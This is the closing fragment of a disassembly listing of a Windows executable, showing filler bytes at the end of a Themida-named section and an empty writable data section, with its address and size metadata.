		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллл',0
		dd 1AA6h dup(0)
Themida_	ends

; Section 5. (virtual address 001DC000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 001DC000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 5DC000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start